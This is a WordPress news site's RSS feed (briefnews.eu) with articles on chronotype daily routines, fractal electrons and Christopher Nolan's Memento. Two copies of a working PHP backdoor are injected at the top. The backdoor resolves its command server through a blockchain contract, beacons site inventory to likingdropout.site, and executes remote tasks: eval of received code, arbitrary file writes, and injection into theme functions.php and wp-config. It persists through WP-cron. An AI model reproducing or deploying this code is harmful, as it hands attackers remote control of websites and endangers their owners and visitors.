// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Structure – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 03 Jan 2019 06:02:02 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Structure – Brief News https://briefnews.eu 32 32 I had a ‘sleep doctor’ tell me how to structure my entire day, and I’ve never felt more energized https://briefnews.eu/i-had-a-sleep-doctor-tell-me-how-to-structure-my-entire-day-and-ive-never-felt-more-energized/ https://briefnews.eu/i-had-a-sleep-doctor-tell-me-how-to-structure-my-entire-day-and-ive-never-felt-more-energized/#respond Thu, 03 Jan 2019 06:02:02 +0000 http://briefnews.eu/i-had-a-sleep-doctor-tell-me-how-to-structure-my-entire-day-and-ive-never-felt-more-energized/ shana at the officeRachel Gillett/Business Insider

  • Sleep doctor Michael Breus says creating the perfect daily routine is about figuring out your chronotype, or your preference for mornings or evenings.
  • According to Dr. Breus, there are four main chronotypes: bears, dolphins, lions, and wolves.
  • I’m a bear, and Dr. Breus helped me craft a new daily routine, which involved eliminating wake-up caffeine and matching my work activities to my energy levels.

I am, as you probably are too, a sucker for “daily routine” stories.

There’s something weirdly satisfying about knowing what time someone else wakes up, what time they eat an apple, and how long they wait between eating the apple and working out — especially if that someone is famous and successful.

Forget working hard and displaying grit — I’m going to eat an apple every day at 4 p.m. and be famous and successful, too! It’s the ultimate life hack.

And so when I heard about Dr. Michael Breus’ book, “The Power of When,” in which he helps readers figure out their biological predisposition to be a morning person, evening person, or somewhere in between, and then figure out their ideal daily routine based on that predisposition, I was intrigued.

Breus is a clinical psychologist and sleep expert; he calls himself the “sleep doctor.” When we spoke by phone in July — Breus has a practice in Los Angeles — he told me that he first started researching this topic when he noticed that his treatments for insomnia weren’t working on a select group of his patients.

“What I realized,” he said, “is that my patients didn’t have insomnia — it turns out they were night owls. At least some of them, anyway.”

On weekends and vacations, Breus said, these night owls would stay up until about 1 a.m. and wake up around 8 or 9 a.m. the next day. They’d feel great. But come Monday, they’d start feeling lousy again.

“I realized that their internal chronorhythm had shifted,” Breus said, using the scientific term for your body’s internal clock.

That realization prompted Breus to consider whether there were other groups of people who weren’t simply insomniacs — but who were struggling because their chronorhythms were different from most people’s.

Research led Breus to come up with four chronotypes — or four types of preferences for morningness and eveningness.

Breus isn’t the first person to study — or write a book about — the science of chronotypes. Most notably, in 2012, the German chronobiologist Till Roenneberg published “Internal Time,” in which he popularized the term “social jet lag” to describe the difference between people’s sleep schedules on workdays and free days, a.k.a. the difference between how they’d like to structure their days and how they have to structure their days in order not to lose their jobs and friends.

In “The Power of When,” Breus makes this research accessible by helping readers figure out which “animal” they are: bear, wolf, lion, or dolphin. (You can also take a diagnostic quiz on his website.) Each animal corresponds to a different chronotype.

About 10% of the population are dolphins: light sleepers, who frequently get diagnosed with insomnia. Another 15 to 20% are lions: classic morning people. Still another 15 to 20% are wolves, who prefer staying up late.

I, as it turns out, am a bear, a chronotype Breus says I share with about half the general population. That means I’m generally a good sleeper; my internal body clock tracks the rise and fall of the sun.

Breus agreed to help me create a daily routine fit for a bear — one that would leave me less tired and more productive than I am now. Over the past two months I’ve been trying to adopt this new schedule and documenting the effects.

Here’s the daily routine Breus outlined for me — and what happened when I tried to follow it. Keep in mind that this schedule won’t work for everyone, especially if you have a different chronotype.

7-7:30 a.m.: Wake up

Flickr / Alex

For the past four years, I’ve been practicing the same morning routine. I wake up to a 6:30 a.m. alarm and immediately brew a cup of black tea; I spend the next hour or so reading the news before showering and getting ready to leave for work.

The idea behind waking up relatively early is that I allow myself some quiet “me” time before emails and phone calls and the general demands of the day begin.

But the problem here, Breus told me, is twofold. The first is that I’m caffeinating way too early. (I’ll say more on that topic later.)

The second is that I’m waking up slightly too early. I told Breus that, on weekends, I typically wake up naturally around 7:30 a.m. and he suggested that I listen to my body and try setting my alarm for between 7 and 7:30 on weekdays, too. Eventually, he said, I wouldn’t need the alarm anymore.

I took Breus’ advice and reset my alarm for 7 — but somehow I rarely woke up before it went off, and often I was jolted out of a deep sleep. I suspect that 7:30 is closer to my ideal wake-up time — but given that I still enjoy my “me” hour in the morning, I figured I’d start the workday too late if I woke up then.

7:30-8:30 a.m.: Hydrate, shower, and fuel up

Shana Lebowitz/Business Insider

Breus pointed out that I was caffeinating way too early. Ideally, he said, if bears are going to caffeinate, they should do so at least 90 minutes after waking up. That’s when levels of the stress hormone cortisol — which helps keep you alert — will start naturally decreasing.

Breus told me I’d essentially been using caffeine to stop my body’s production of the sleep hormone melatonin. It’ll turn off on its own around 7, he told me — no need to do it artificially.

What’s more, Breus explained that caffeinated beverages are diuretics — and when we sleep we breathe out about a liter of water, meaning we already wake up dehydrated.

Immediately after waking up, Breus said, I should take five deep breaths — something that rarely happened, given that I was usually racing to turn off my alarm.

Next, he advised drinking a full glass of water while standing in front of the window so that I’m simultaneously hydrating and absorbing sunlight, which naturally curbs the production of melatonin. These directions I always followed, and it did generally help me feel more awake.

Even my hot showers had to go under Breus’ new regimen. Cool showers are invigorating because they lower your body temperature, he explained. It helps, too, to listen to upbeat music while bathing — I chose Spotify’s pop playlist — because it boosts your mood.

Finally, Breus advised eating a protein-rich breakfast within 60 minutes of waking; carbs tend to make you feel more sleepy. I stuck with yogurt and granola, and generally didn’t eat breakfast until about two hours of waking up, when I was already settled at work.

The key here, Breus told me, is consistency. Even on weekends you should maintain the same morning routine, so as not to throw off your body.

9:30-10 a.m.: Caffeinate

Shana Lebowitz/Business Insider

By far the most impressive change I saw during my new daily routine was that I no longer needed that cup of black tea first thing in the morning. In fact, I barely needed caffeine at all.

Now, I drink a cup of green tea (which has considerably less caffeine) at around 9:45 a.m., at the office. Anything else makes me jittery.

And though I was at first skeptical that the green tea would help me power through the rest of the day, I’m in fact more energized than I used to be. Most notably, I don’t feel the need for a second cup of black tea around 3 p.m., which I often used to.

Breus said skipping the first-thing-in-the-morning coffee (or tea) is probably the change his clients are most resistant to making. But if my experience is any indication, it’s not only possible to survive the workday without it once you get accustomed to the change — it’s easier.


See the rest of the story at Business Insider

See Also:

SEE ALSO: The best time of day to do everything, from exercising to interviewing for a job

]]> https://briefnews.eu/i-had-a-sleep-doctor-tell-me-how-to-structure-my-entire-day-and-ive-never-felt-more-energized/feed/ 0 Fractal structure produces fractal electrons with fractal energies https://briefnews.eu/fractal-structure-produces-fractal-electrons-with-fractal-energies/ https://briefnews.eu/fractal-structure-produces-fractal-electrons-with-fractal-energies/#respond Mon, 03 Dec 2018 04:11:55 +0000 http://briefnews.eu/fractal-structure-produces-fractal-electrons-with-fractal-energies/

Fractals are a source of endless fascination to me. Life itself relies on many of the concepts of fractals: trees are fractal, as are feathers, coast lines, and many other things in nature. Indeed, it was the realization that landscapes are fractal that made modern animated films possible.

But, what about fractional dimensions in quantum mechanics? It turns out that electrons in a Sierpiński gasket are also fractal, and that has some pretty cool consequences.

A fractal is a weird beast. A line is 1D, a square is 2D, and a cube is 3D: dimensions come in integer quantities. Except they don’t. For instance, it is possible to create a shape that has a finite area, but a perimeter that is infinitely long (the construction of such a shape is pictured below). A shape with these properties does not behave like a 2D object, but it’s not a 3D object. Instead, it is a two-and-a-bit-D object. That is a fractal.

Read 15 remaining paragraphs | Comments

]]> https://briefnews.eu/fractal-structure-produces-fractal-electrons-with-fractal-energies/feed/ 0 Watch Christopher Nolan Explain the Structure of ‘Memento’ https://briefnews.eu/watch-christopher-nolan-explain-the-structure-of-memento/ https://briefnews.eu/watch-christopher-nolan-explain-the-structure-of-memento/#respond Thu, 31 May 2018 14:01:49 +0000 http://briefnews.eu/watch-christopher-nolan-explain-the-structure-of-memento/ christopher nolan memento video

Memento wasn’t Christopher Nolan‘s first film, but it was the film that put him on the map. In a vintage interview, Nolan breaks out the chalkboard to break down the complex narrative structure of Memento.

Christopher Nolan Memento Video

Just in case you need a refresher, Memento is Christopher Nolan’s 2001 mystery film starring Guy Pearce. Pearce plays a man trying to find the murderer who killed his wife. Sounds pretty cut and dry, right? Were Memento told in a more traditional fashion, it might be. But Nolan cleverly tells the story in reverse – we start at the end of the story, and work our way back. In the process, more and more surprises are revealed about Pearce’s character, and we begin to realize that he’s not the most reliable of narrators.

The film isn’t that complex when you start to really think about it, but at the time it was released, many audiences were blown-away by Nolan’s non-traditional storytelling methods. With that in mind, Nolan recorded this video interview in which he takes time to explain his approach to the film.

I wish more filmmakers would do stuff like this. It’s worth noting that this video was recorded early in Nolan’s career, and it’s hard to picture him taking the time to do something akin to this for his bigger movies. Still, this video provides a fascinating glimpse into Nolan’s process. He breaks down both the complex backwards narrative of the film, and also his approach to filming the story.

Then, in true nerdy professor style, Nolan turns to a blackboard and tries to draw out the story. “The best way to draw it is as a hairpin,” Nolan says, drawing a loop that circles back on itself. From there, he examines the structure, and the film’s blend of black and white scenes and color. Even if you’ve already seen Memento a dozen or so times, this video is a really engrossing look at how Nolan works, and how he sets about crafting a story.

